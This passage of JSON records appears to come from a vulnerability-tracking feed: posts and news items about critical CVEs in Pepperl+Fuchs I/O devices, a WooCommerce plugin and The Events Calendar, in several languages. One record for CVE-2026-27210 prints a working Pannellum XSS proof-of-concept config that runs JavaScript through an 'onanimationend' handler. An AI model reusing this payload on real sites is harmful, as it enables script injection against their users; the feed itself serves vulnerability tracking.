Pepperl+Fuchs ICE2 and ICE3 I/O devices can be tricked into accepting a specially crafted IODD file. That file installs a program that runs with full system\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#pepperlfuchs #CVE #infosec", "creation_timestamp": "2026-09-16T09:20:07.110953Z"}, {"uuid": "51c449fb-2756-4c03-a19d-c251fac25bc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mvmudbz6xk2z", "content": "Patch critical industrial firmware vulnerabilities and authentication bypass flaws like CVE-2026-27565 in Pepperl+Fuchs, Phoenix Contact & Carlo Gavazzi.\n\n#IndustrialSecurity #FirmwareFlaws #Cybersecurity #CVE202627565 #InfoSec", "creation_timestamp": "2026-09-16T09:48:42.656348Z"}, {"uuid": "98b2cf99-d2c3-40cb-85fb-1f7842d7a8df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://t.me/CyberDispatch/2963", "content": "Attackers are exploiting a critical WooCommerce Wholesale Lead Capture flaw to plant PHP web shells.\n\nWordfence has blocked over 100,000 exploit attempts since June against CVE-2026-27540, which affects versions through 2.0.3.1.", "creation_timestamp": "2026-09-16T10:00:05.315844Z"}, {"uuid": "f716e2d4-16f3-4f9b-bd08-740f32412de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/8Is-3SI6bO9GNCJOmvFyQfWUtIzeYjCZZGsfQ4Xpcb-6Qtk", "content": "", "creation_timestamp": "2026-09-16T10:00:05.584684Z"}, {"uuid": "80638a6f-d625-40db-a2bd-29aef4263c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/62gcesdJfEiUbIen6VNYpv9Wpfrn8s4bwEeJpK-9Ft26ADg", "content": "", "creation_timestamp": "2026-09-16T10:00:05.648937Z"}, {"uuid": "1563f1f1-8349-4cf4-b6a1-a49762dfd4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27546", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvmveqnvx72w", "content": "\ud83d\udea8 CVE-2026-27546 \u2014 CVSS 9.8 CRITICAL\n\nAn unauthenticated remote attacker can exploit an authentication bypass in the _account_log function to log...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-27546\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T10:07:24.651612Z"}, {"uuid": "cc05b469-e97a-4d4c-94b9-ce967f5e6a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvmvez52af22", "content": "\ud83d\udea8 CVE-2026-27565 \u2014 CVSS 9.8 CRITICAL\n\nAn unauthenticated remote attacker can upload a malicious IODD file that places and executes a shell script...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-27565\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T10:07:33.480786Z"}, {"uuid": "cd2d08d8-df39-45ee-a81c-97cbbcf83b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/alextech-ai.bsky.social/post/3mvn2htyq2h2l", "content": "A critical flaw in the WooCommerce Wholesale Lead Capture plugin (CVE-2026-27540) is being used to plant PHP webshells. Over 100,000 attacks blocked, but many sites remain vulnerable. Update to v2.0.3.2 immediately.", "creation_timestamp": "2026-09-16T11:38:38.488281Z"}, {"uuid": "b6414873-743f-41dc-8f47-de212bee8ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27210", "type": "seen", "source": "https://gist.github.com/kkoss89/25d0b7a42f5bfde3470ce059d9e05f6f", "content": "{\"autoLoad\":true,\"pitch\":0,\"yaw\":0,\"basePath\":\"data:image/svg+xml;base64,\",\"panorama\":\"PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZXdCb3g9IjAgMCA1MCA1MCIgd2lkdGg9IjUwIiBoZWlnaHQ9IjUwIj48Y2lyY2xlIGN4PSIyNSIgY3k9IjI1IiByPSIyMCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjZTBlMGUwIiBzdHJva2Utd2lkdGg9IjQiLz48Y2lyY2xlIGN4PSIyNSIgY3k9IjI1IiByPSIyMCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMzQ5OGRiIiBzdHJva2Utd2lkdGg9IjQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWRhc2hhcnJheT0iMzAgMTAwIj48YW5pbWF0ZVRyYW5zZm9ybSBhdHRyaWJ1dGVOYW1lPSJ0cmFuc2Zvcm0iIHR5cGU9InJvdGF0ZSIgZnJvbT0iMCAyNSAyNSIgdG89IjM2MCAyNSAyNSIgZHVyPSIxcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiLz48L2NpcmNsZT48L3N2Zz4=\",\"hotSpots\":[{\"pitch\":0,\"yaw\":0,\"type\":\"info\",\"URL\":\"#\",\"attributes\":{\"style\":\"visibility:visible !important; position:fixed; top:0; left:0; width:1px; height:1px; z-index:99999; opacity:0; pointer-events:none; animation: pnlm-mv 0.01s 1 forwards\",\"onanimationend\":\"window.__xss=1;document.title='PANNELLUM-XSS-PROOF';var d=document.createElement('div');d.id='xss-proof';d.style.cssText='position:fixed;inset:0;z-index:999999;background:#0b0f14;color:#7df0a4;font:16px/1.6 monospace;padding:40px';d.innerHTML='Authorized XSS proof\nArbitrary JavaScript executed on '+location.host+' from an external config file.\nCVE-2026-27210 (Pannellum) - no harmful action was taken.';document.body.appendChild(d);\"}}]}", "creation_timestamp": "2026-09-16T12:44:13.656386Z"}, {"uuid": "fc8a5fa0-f9cd-4c8d-bcaa-d51db56e702e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mvngorqvff2t", "content": "Attackers are exploiting a critical vulnerability (CVE-2026-27540) in the WooCommerce Wholesale Lead Capture plugin, allowing them to take control of WordPress sites without authentication. The flaw, with a CVSS score of 9.8, affects versions up to 2.0.3.1.", "creation_timestamp": "2026-09-16T15:17:16.521388Z"}, {"uuid": "d64374f8-4592-48e3-84c0-15a677d51f3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27960.yaml", "content": "", "creation_timestamp": "2026-09-17T00:00:04.822106Z"}, {"uuid": "24ec18d0-cb61-4055-b555-d398fab71de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/8Is-3SI6bO9GNCJOmvFyQfWUtIzeYjCZZGsfQ4Xpcb-6Qtk", "content": "", "creation_timestamp": "2026-09-17T01:00:04.798240Z"}, {"uuid": "26afc46c-8960-4f10-9df0-489a7059c8db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "exploited", "source": "https://t.me/CyberDispatch/2963", "content": "Attackers are exploiting a critical WooCommerce Wholesale Lead Capture flaw to plant PHP web shells.\n\nWordfence has blocked over 100,000 exploit attempts since June against CVE-2026-27540, which affects versions through 2.0.3.1.", "creation_timestamp": "2026-09-17T01:00:04.494266Z"}, {"uuid": "fe942f80-c0c6-414b-8acb-8682095f6314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "exploited", "source": "https://t.me/thehackernews/10067", "content": "\ud83d\udea8 Attackers are exploiting a critical WooCommerce Wholesale Lead Capture flaw to plant PHP web shells.\n\nWordfence has blocked over 100,000 exploit attempts since June against CVE-2026-27540, which affects versions through 2.0.3.1.\n\nRead: https://thehackernews.com/2026/09/attackers-exploit-woocommerce-wholesale.html", "creation_timestamp": "2026-09-17T01:00:04.593043Z"}, {"uuid": "7601a8ac-a12d-4a5a-878b-eaf177950d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/62gcesdJfEiUbIen6VNYpv9Wpfrn8s4bwEeJpK-9Ft26ADg", "content": "", "creation_timestamp": "2026-09-17T01:00:04.944591Z"}, {"uuid": "0c066aae-d058-46e1-adfb-47edd36afd02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://t.me/pphm_HackerNews/3162", "content": "\ud83d\udd34 Hackers Actively Exploit Critical WooCommerce Plugin Vulnerability to Upload PHP Backdoors\n\nThreat actors are actively exploiting a critical vulnerability in the WooCommerce Wholesale Lead Capture plugin that lets unauthenticated attackers upload malicious PHP files and potentially seize full control of vulnerable WordPress sites.\n\nThe vulnerability , tracked as CVE-2026-27540, affects plugin versions 2.0.3.1 and earlier and has received a CVSS severity score of 9.8 out of 10.", "creation_timestamp": "2026-09-17T11:00:04.384242Z"}, {"uuid": "aaab7d34-e042-4ca6-abf0-5925a431ce92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27960.yaml", "content": "", "creation_timestamp": "2026-09-18T00:00:04.023163Z"}, {"uuid": "80bc7a47-9f52-47bc-a8c2-65fa2addd8d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102613", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27540\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a winrarzipsexploit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-17 18:44:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27540 WWLC WordPress unauth upload RCE suite \u2014 authorized testing only\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-17T22:00:04.571494Z"}, {"uuid": "bb75aed8-00b8-40f4-8c16-c53b0721c4d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102613", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27540\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a winrarzipsexploit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-17 18:44:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27540 WWLC WordPress unauth upload RCE suite \u2014 authorized testing only\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-18T00:00:05.501334Z"}, {"uuid": "af627268-6ea7-4f0a-8628-1dd7da960446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "exploited", "source": "https://t.me/pphm_HackerNews/3162", "content": "\ud83d\udd34 Hackers Actively Exploit Critical WooCommerce Plugin Vulnerability to Upload PHP Backdoors\n\nThreat actors are actively exploiting a critical vulnerability in the WooCommerce Wholesale Lead Capture plugin that lets unauthenticated attackers upload malicious PHP files and potentially seize full control of vulnerable WordPress sites.\n\nThe vulnerability , tracked as CVE-2026-27540, affects plugin versions 2.0.3.1 and earlier and has received a CVSS severity score of 9.8 out of 10.", "creation_timestamp": "2026-09-18T00:00:06.566293Z"}, {"uuid": "dc8b0820-0d02-4538-91e2-8c109a9032e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "published-proof-of-concept", "source": "Telegram/sREDAe6BOKB9_RGSs3URiy3vPAWvfip9ao8nlCE9pHlx5C0", "content": "", "creation_timestamp": "2026-09-18T04:00:05.296431Z"}, {"uuid": "b582e3b0-3572-4bc6-99d4-e12f9f731269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/inraad.bsky.social/post/3mvrnsq666f27", "content": "El parche llevaba meses publicado. Los webshells se subieron igual.\n\nCVE-2026-27540, plugin premium de WooCommerce. Los plugins de pago no salen en tu pantalla de Actualizaciones: licencia caducada, cero avisos.\n\n\u00bfSabes cu\u00e1les tiene tu web?\n\nFoto de Justin Morgan en Unsplash", "creation_timestamp": "2026-09-18T07:35:23.062138Z"}, {"uuid": "c9872912-14b5-4b90-9d42-64092228e419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "exploited", "source": "https://t.me/true_secator/8618", "content": "\u0411\u043e\u043b\u0435\u0435 200 000 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 WordPress \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0430\u0442\u0430\u043a\u0430\u043c, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u043c \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0438\u0445 \u0437\u0430\u0445\u0432\u0430\u0442\u0443, \u0432 \u0432\u0438\u0434\u0443 \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 The Events Calendar.\n\n\u041f\u043b\u0430\u0433\u0438\u043d Events Calendar, \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439\u0441\u044f \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0431\u043e\u043b\u0435\u0435 600 000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043b\u0435\u0433\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430\u0445.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Defiant, \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0434\u043e 6.17.3.1 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0432\u0443\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2026-78159 (CVSS 9,8) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u044b\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 HTML, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432.\n\nStellarWP, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430 The Events Calendar, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0435 25 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 6.17.3.1 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-78006 (CVSS 9,8), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430, \u0435\u0441\u043b\u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438 \u0432\u0438\u0434\u043d\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0439\u0434\u0435\u043d\u044b \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0442\u043e\u0440\u043e\u043c \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u043e\u0434\u0435\u0440\u0430\u0446\u0438\u0438.\n\nStellarWP \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0432\u0442\u043e\u0440\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 6.17.4.1 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f The Events Calendar, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e 10 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 Defiant, \u044d\u0442\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u0414\u0430\u043d\u043d\u044b\u0435 WordPress \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 240 000 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 The Events Calendar \u0432\u0435\u0440\u0441\u0438\u0439 \u043d\u0438\u0436\u0435 6.17, \u0430 \u044d\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0438\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u0412 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 10 \u043f\u043e 14 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u043f\u043b\u0430\u0433\u0438\u043d \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 300 000 \u0440\u0430\u0437, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0435\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u0432\u0441\u0435 \u0435\u0449\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-78006.\n\n\u041d\u0435\u044f\u0441\u043d\u043e, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0430 WordPress \u0443\u044f\u0437\u0432\u0438\u043c\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u0435\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435. \u041d\u043e \u0432\u0441\u0435 \u0436\u0435.\n\n\u0415\u0441\u043b\u0438 \u0441 The Events Calendar \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e 